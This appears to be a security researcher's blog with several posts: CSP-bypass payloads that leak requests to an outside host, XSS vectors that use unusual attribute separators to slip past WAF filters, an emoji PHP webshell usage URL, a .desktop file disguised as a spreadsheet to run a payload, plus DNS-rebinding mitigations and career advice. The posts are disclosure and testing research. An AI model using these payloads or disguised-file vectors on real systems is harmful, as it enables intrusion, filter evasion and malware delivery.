Mazin Ahmed's Blog

Friday, January 18, 2019

Abstract

Content-Security Policy (CSP) is one of the most vital protection layers in client-side web security. A strict policy should not allow external communications to non-permitted hosts. This blog post demonstrates a bypass I found in Chrome and Firefox that permits backchannel communication leaks by requesting non-permitted domains.

Background

I recently had a discussion on how CSP can secure web-applications against backchannel leaks. The concept sounded reasonable from the first sight; CSP is designed to block unauthorized content from loading, which generically blocks XSS attacks, unsafe loading of remote JavaScript (and various resources and contents) from unauthorized origins.

This discussion led me to conduct research on methods for issuing backchannel communications with non-permitted hosts.

Research

The first step for the research is to set up the testing bed. I prepared an application with a strict Content-Security Policy. The policy is:

Content-Security-Policy: default-src 'self'

This should block all requests (outbound connections) from unauthorized origins and hosts.

The tests were focused on the latest versions of Chrome and Firefox as of January 18th, 2019.
Chrome: v72.0
Firefox: v64.0

Result

Chrome

Chrome has an interesting bypass that does not follow the CSP policy by utilizing the “link prerendering”.

The following payload leaks an HTTP request from the client’s agent.

<linkrel="prerender"href="https://mazinahmed.net/" />

This loads resources within a URL in the background. It appears that Chrome is not enforcing CSP on the link prerendering process.

Firefox

Firefox is much better in protecting against backchannel communication leaks. However, after further testing, I have found that this payload bypasses this protection:

<metahttp-equiv="refresh"content="1; url=https://mazinahmed.net">

Redirection using the Meta tag is possible on CSP, and it can not be blocked. Therefore, I can redirect users to other sites without the involvement of JavaScript and typical active content. It’s also working on Chrome. Once a client is redirected, we will receive a connection back to our server.

Update: Safari is vulnerable too to the Meta refresh vector.

Conclusion

While having CSP to fundamentally protect against backchannel communication leaks sounds generally true, it appears that the CSP implementation on browsers does not provide this sort of protection. The bypasses I stated on the post is currently working against the latest versions of modern browsers.

Final Thoughts

These payloads can be good for testing and exploiting vulnerabilities that rely on OOB (out-of-band) requests, such as blind XSS, in a scenario where Content-Security Policy is blocking outbound requests to untrusted hosts.

Tuesday, July 31, 2018

DNS rebinding is a known attack against the same origin policy of modern browsers. The attack works by abusing DNS where a request with a small TTL is set. After the TTL is reached, another query that resolves to another IP address (a local or internal IP address in typical cases). This way, an unauthorized party is capable to bypass the same origin policy by loading malicious code on browsers, then executing it against local or internal networks. Theoretically speaking, SOP prevents this from happening, however, DNS rebinding can bypass this protection on certain circumstances.There has been a large amount of research on exploiting DNS rebinding attacks in the previous years.

Problem

Although that this attack is known for years, securing an environment against DNS rebinding is normally done on application level only.

I don't find this to be the best approach, as there is a larger surface that we can control to block these attacks.

Proposed Solution

A DNS rebinding attack that exploits a local service shows that the domain name is pointing to a loopback address. Similarly, if it's exploiting a service in the internal network, the domain name will be shown to be pointing to a private address.

In a well-structured environment, we should not rely on public DNS records to point to a loopback or private address; there is no reason to do so.

Idea

If the DNS query response is a record that points to a loopback address, then this is a potential DNS rebinding attack. This should be blocked.

If done correctly, this will effectively block DNS rebinding attacks against local addresses.

Implementation

DNS resolvers have this feature built-in. For example, you can configure BIND to block a query where the DNS record is on the IP range.

IPtables can help with applying a patch too. The problem that there is no direct way to apply it.

This will block any DNS UDP inbound traffic on port 53 that holds "127".

Why not "127.0.0.1"?

The internal loopback is /8 range. Any IP address on the range is pointing to the associated local machine.

Will this IPtable rule 100% mitigate against the attack?

This is a starting point for a research on protecting against DNS rebinding attacks. It initiates a starting point for security vendors and endpoint security solution vendors to apply it for customers.

All IANA-private IP ranges should be blocked within local network using the same approach discussed above.

This is of course in addition to IPV6 address that points to the internal loopback.

How about QUAD9 Secure DNS Resolver?

I have tested QUAD9 Secure DNS resolver, and they apparently do not provide protection to DNS Rebinding attacks.

Other DNS resolvers are assumed to not provide protection, as this is not their goal. However, QUAD9 should block attempts of DNS rebinding attacks.

Acknowledgment

I would like to thank Andzej Valcik for his contribution to the research.

Update (September 16th, 2018):

NCC Group released a research regarding DNS rebinding attacks along with a tool called "Singularity".

An interesting bypass that NCC group demonstrated in the research is the usage of a CNAME that points to "localhost". Since "localhost" is already registered in the typical local resolver (at hosts file for example) as 127.0.0.1, this will be also required to be blocked using the same approach mentioned in my research.

Blocking this bypass will be straightforward. The rule should block/drop any DNS query that responds with a CNAME of "localhost".

Monday, July 23, 2018

I recently came across an interesting behaviour on PHP. Apparently, PHP permits the usage of Unicode characters as variable names. Therefore, friendly emojis can be used as a PHP variable.

<?php
$😶="Hello World!";
echo($😶);

Output:

>> Hello World!

Which is valid.

I thought about making a fancy example of a PHP Web-Shell using emojis. This is made for entertainment purposes, no real advantage is gained by using Emojis webshell. It may disturb/confuse a WAF or back-end parser, but it’s not confirmed against a real-world environment.

Usage

Usage can be as:

https://example.com/emojis-webshell.php?👽=pwd

You can create a CLI for it to do more; I am only publishing it as a proof of concept.

Tuesday, July 17, 2018

Abstract

This is an experiment I have done recently in order to identify and utilize attribute separators in constructing XSS vectors. The crafted vectors can be used in bypassing XSS filters on modern browsers. These characters can be used in bypassing WAF XSS filters.

Background

An example for a common XSS vector is:

<imgsrc=xonerror=alert(1)>

We will be using this vector as a baseline for the demonstration in this experiment.

An image is requested at `./x`. If the image does not exist or invalid, the JavaScript event handler executes the JavaScript code as instructed. The space ““ value is what is separating the attributes.

A typical XSS regular expression that blocks this example vector checks for whitespaces.

This can be bypassed via the exact vector by using the slash “/” character as an attribute separator (a well-known payload):

<img/src="x"/onerror=alert(1)>

Fuzzing for Valid Attributes Separators in Modern Browsers

HTML is a very flexible language. Browser engines render contents in numerous structures. I have written a simple fuzzing script in JavaScript that renders all Unicode values as attribute separators in a browser.

Results

1. Carriage-Return (0x0D)

2. Line-Feed (0x0A)

3. Horizontal Tab (0x09)

4. Form-Feed (0x0C)

In addition to the previously known characters: Space (0x20) and Slash (0x2F) characters.

Notes on Bypassing WAFs Using Identified Attributes Separators

In general, WAF rule sets are strict on blocking certain inputs. By utilizing odd attribute separators, it’s possible to bypass weakly written WAF rules. This is an aid to construct a valid XSS vector; I do not expect a vanilla <img(attribute-separator)src=x(attribute-separator)onerror=alert(1)> would be a straight payload that bypasses a WAF rule set directly. Instead, tweaking the payload can increase the potentials in writing a valid vector that bypass the WAF XSS filters.

Furthermore, I have demonstrated a number of payloads previously that utilizes attribute separators implicitly to bypass XSS filters of popular WAFs. You can read about my previous research at [Link].

The techniques were tested against Mod-Security CRS. The default installation blocks almost all variants; raising the Paranoia Level to 2 protects from the remaining payloads.

I would like to thank Dr. Christian Folini for testing it against ModSecurity CRS.

What to Do?

Penetration Testers

These characters can be used to craft better payloads to fuzz WAF XSS filters. Feel free to use them on your next WAF assessment.

Defenders

Consider different HTML attribute separators when constructing filters. It can be used to bypass rulesets.

Tuesday, October 3, 2017

This blog post is a brief review of the ModSecurity Handbook - 2nd edition.

I have been working in the WAF industry for quite a long time. My main interest is WAF evasions, where I worked on the popular "Evading All WAF XSS Filters" research. On 2015, the results of the research showed that ModSecurity (with CRS) is the most difficult to evade, according to my testing.

After I finished my research, I became interested on ModSecurity and the OWASP Core Rule Set.

The problem that I faced during working with ModSecurity is that most resources online are outdated, and does not fulfill my requirements at work. My alternative was the first release of the handbook, which was released in 2012. The book is a good learning resource, but ModSecurity has faced major changes during the years. I needed a more updated resource.

In December 2016, Dr. Christian Folini announced the finishing of the second release of ModSecurity handbook. I was really excited to get my copy, as OWASP CRS 3.0 was released two months before. The book is not just only updated with up-to-date resources, it also covers the OWASP CRS 3.0, which is excellent in my opinion.

The first chapters discusses beginner topics regarding WAFs and ModSecurity. Then it dives into configuring ModSecurity on different web-servers. After that it, discusses the customizing of logs to fit the administrator's requirements.

From there, the book starts on my favorite set of chapters, writing your own custom rules. It's discussed extensively; probably the most thorough documented rules writing guidance for ModSecurity.

It's great to be able to write your own WAF rules for ModSecurity. The CRS is quite generic to typical attacks, but writing rules that is specific to exploit is quite needed for any defender. The chapter discusses writing WAF rules extensively. By having typical knowledge of regular expressions and reading this chapter, you would be able to write your own WAF rules.

The book also discusses the performance part of ModSecurity, and how to tweak ModSecurity to perform better with available resources.

To conclude, in my opinion, ModSecurity handbook is a must-read book for any defender, and anyone working on the technical side in the WAF industry. ModSecurity in general performs core tasks and requires good knowledge on configuration and administration. Being able to work with ModSecurity would allow you to work with other WAFs in an easier manner.

Friday, August 11, 2017

This blog post is written as a list of tips and notes on starting the field of Information Security from the beginning.

Question:-
How to Start into the field of information security?
I would like to become a bug bounty hunter, ethical hacker, web-app tester, or to have better knowledge in security testing. How to start?

Answer:-

Hi,

The following are tips and points should be followed when getting into the field of Information Security in general, and security testing in specific.

1- Start on the base of programming

It’s required to start from the very beginning when it comes to web-application testing. Without a good base, it’s very difficult to go further.

I recommend having a good base in scripting languages: PHP, Shell, then choose Python, Ruby, Node.JS or similar scripting languages.

Also, HTML/CSS/JS will be important for web security. Learning it in a good level would be important in order understand web, and further, to write web exploits and code.

This will give you a very good base on understanding the nature of applications, and how it could be developed. This will also help you in being capable of writing testing scripts or code that you would need in actual security testing.

You should at least reach a level that you are capable of performing ideas that you have in mind. It takes time to learn, but it’s really vital.

2- Have a good knowledge in Linux/Unix

This will help you in learning how to interact with your machine, and how to get the most of it when performing tests.

3- Understand networking basics

Learning networking is very important. It should give you knowledge on how to approach a target in testing. Also, it will help you build blocks in the relation of the application and the server.

You should understand popular services and protocols, and how it works. Also, be able of knowing how to debug issues.

4- Basic knowledge of System Administration

Basic knowledge of system administration is very useful. It will help you understand how things work, and based on that, you would have an idea about common issues that can be used to break things.

5- Learning common web-application security vulnerabilities

After finishing the above, you can start in learning the common web-application security vulnerabilities. How to find it, how does it occur, and how to exploit it. Take each vulnerability and read a sample vulnerable code for it, (assuming you reached a good level in learning programming), and then see how to protect from it.

There are vulnerable applications that can help you in it.
https://vulnhub.com/
is a great resource for getting vulnerable virtual machines.
(What’s a virtual machine? You should have this covered in previous sections).

6- Practice, Practice, and Practice

Nothing comes easily. Information security is not an industry of a 9-5 jobs. If you didn’t dedicate yourself for it, it will be difficult to improve. Put a good amount of efforts into learning and practicing.

7- English is world’s language of communication. Learn it to learn to read resources.

There is no doubt that English is today’s language of communication.

If you understand English, you would be able to access and understand a large amount of English resources. The majority of information security resources online are in English. English is a universal language, it’s required in almost anything in it. Do your best in learning it well.

8- Read, Read, and Read

I remember watching a TedX talk that gives an important and catchy quote, “Readers are Leaders”.

The more you read, the more you learn, the more you understand better, the more you improve.

It all start with reading. There are a large amount of resources online that you can benefit from.

8- There is no Bullet-Proof Resource or Advise that will make you a good hacker

Information security is not a thing that you can learn from a single resource or place. Knowledge on the field is something that is obtained through hard work and practice.

9- Practice in CTFs and Bug Bounty Programs

After working on all the topics above, it would be a good time to start with CTFs and Bug Programs. These programs help you in getting practical knowledge of information security. It’s fun, and very helpful.

This a summary of what I have in mind in starting in the information security field. It’s not bullet-proof, but it will hopefully get you in a good level if followed right.

Saturday, April 8, 2017

I have noticed a weird behavior in .DESKTOP file extensions that can be used as a malware vector. This issue is not detected as malware by all known AVs, and the way it behaves makes it a rich resource for spreading malware against Ubuntu and Linux Desktop users in general. I will focusing on Ubuntu Desktop on this blog post.

Introduction
File managers on Ubuntu (Nautilus, Caja, Thunar are tested) treats .desktop in a special way. Basically, it parses .desktop, and view the files as the way it's saved on their .desktop entry. In addition to that, it also changes the icon of the file to the one specified in the .desktop entry too.

Example .desktop File

Let's say the filename is "firefox.desktop", and it's saved at "/root/test/"

Saving the file as "payload.desktop", when it's viewed, it will be viewed thanks to file managers as "Employees Salary.xslx" with LibreOffice icon. Once a user click on the file, the payload will be executed.

Profit?
Stealthy malware vector on Ubuntu Desktop.

Obstacles of Successful Exploitation

Executing permissions would be an issue in exploitation. When a .desktop file does not have an execution permission, we get the following the error:

This error can be bypassed by presetting the permissions to 07555 for example to be executed, then ZIPPing the file, and delivering it as a ZIP archive, when it's decompressed, the same permissions will be outputted. Now the malware vector would work normally with any distribution that supports .desktop extensions.

Proof of ConceptI have made a test repository that holds a simple PoC that will pop-up a calc.

then navigate to the "Demo" folder using a file manager, you will see the following when clicking on the file:

Actions I have contacted Ubuntu security, and they have decided to accept the risk of this issue. Therefore, the issue is still there, and affects millions of users online.

Recommendation It's quite difficult to recommend stopping the usage of File Managers to mitigate the issue. However, I recommend checking/opening untrusted files via CLI. This helps in detecting the exploitation of .desktop malware vector.

Final Thoughts This was a cool idea I had in my mind that I thought of sharing it. I'm looking forward to your opinions regarding this technique.